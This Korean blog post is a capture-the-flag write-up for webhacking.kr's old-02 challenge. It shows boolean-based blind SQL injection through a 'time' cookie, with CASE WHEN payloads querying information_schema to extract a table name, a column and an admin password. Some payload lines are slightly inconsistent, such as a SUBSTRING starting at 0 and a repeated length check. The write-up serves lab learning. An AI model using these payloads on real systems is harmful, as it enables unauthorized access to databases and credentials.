Notice
Recent Posts
Recent Comments
Link
«   2025/12   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Archives
Today
Total
관리 메뉴

HW_chick hacker

[webhacking.kr] old-02 본문

Activity/Webhacking.kr

[webhacking.kr] old-02

{{HW}} 2025. 9. 26. 14:28

 

old-02 문제이다. 딱히 소스코드를 주는게 없어서 html 코드를 분석해본다.

 

Step 1) html 코드 분석

해당 주석에는 admin.php가 존재한다고 힌트를 주고 있다.

 

admin.php 페이지에 접근하면 패스워드를 입력하는 페이지가 존재한다.

패스워드를 입력해야 풀릴 거 같다.

 

 

Step 2) 취약점 포인트 확인

취약점 포인트를 확인하기 위해 특이한 부분을 먼저 인지를 해야한다. 특히 쿠키값에서 "time" 값이 존재한데 해당 값은 날짜를 정수형으로 보여주는 거 같다.

특히 주의 깊게 볼점은 "time" 값을 html 코드 내 주석 부분에 반영해서 보여준다는 점이다.

 

찾는데 오래 걸리기는 했지만 주석에 정보를 보여주는 것은 DB와의 연관이 있을 수도 있다는 판단으로 sql 쿼리를 삽입하 1 이라는 상수를 삽입 하면 "2070-01-01" 날짜 나타내고 있다.

 

sql 쿼리가 작용이 된다면 sql injection을 확인하기 위한 참, 거짓을 구별하는 쿼리문을 삽입 하면 취약점 포인트를 찾아 낼 수 있다.

# 참, 거짓 판별
(CASE WHEN (1=1) THEN 1758851012 ELSE (select 1) END)
-> 참일 경우, 정수로 반환된 시간을 출력

(CASE WHEN (1=2) THEN 1758851012 ELSE (select 1) END)
-> 거짓일 경우, (select 1)에서 반환하는 시간 "2070-01-01" 시간을 반환할 것이다.

 

 

Step 3) 데이터 추출

테이블을 추출하고 칼럼을 추출하고 패스워드가 존재하는 테이블과 칼럼을 찾아 데이터를 추출하면 된다.

# 테이블 개수 2개
(CASE WHEN ((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema = database()) = 2) THEN 1758851012 ELSE (select 1) END)

# 테이블 길이
(CASE WHEN ((SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema = database() limit 0,1) = 13) THEN 1758851012 ELSE (select 1) END)
-> 첫번째 13자리

(CASE WHEN ((SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema = database() limit 0,1) = 13) THEN 1758851012 ELSE (select 1) END)
-> 두번째 3자리

 

1. 테이블 추출

# 첫번째 테이블 추출 (13자리)
(CASE WHEN (ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0,1), 0, 1)) = 96) THEN 1758851012 ELSE (select 1) END)
-> admin_area_pw

 

2. 칼럼 추출

# 칼럼 개수
(CASE WHEN ((SELECT COUNT(*) FROM information_schema.columns WHERE table_name = 'admin_area_pw') = 1)
-> 1개

# 칼럼 길이
(CASE WHEN ((SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'admin_area_pw' limit 0,1) = 2) THEN 1758851012 ELSE 1 END)
-> 2자리

# 칼럼 추출 (admin_area_pw 테이블)
(CASE WHEN (ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name = 'admin_area_pw' LIMIT 0,1), 0, 1)) = 96) THEN 1758851012 ELSE (select 1) END)

 

 

 

3. 패스워드 추출

# 데이터 추출 (pw 칼럼)
(CASE WHEN (ASCII(SUBSTRING((SELECT pw FROM admin_area_pw LIMIT 0,1), 1, 1)) = 107)

 

- admin.php 로그인 완료

'Activity > Webhacking.kr' 카테고리의 다른 글

[webhacking.kr] old-03  (0) 2025.09.26
[webhacking.kr] old-01  (0) 2025.09.26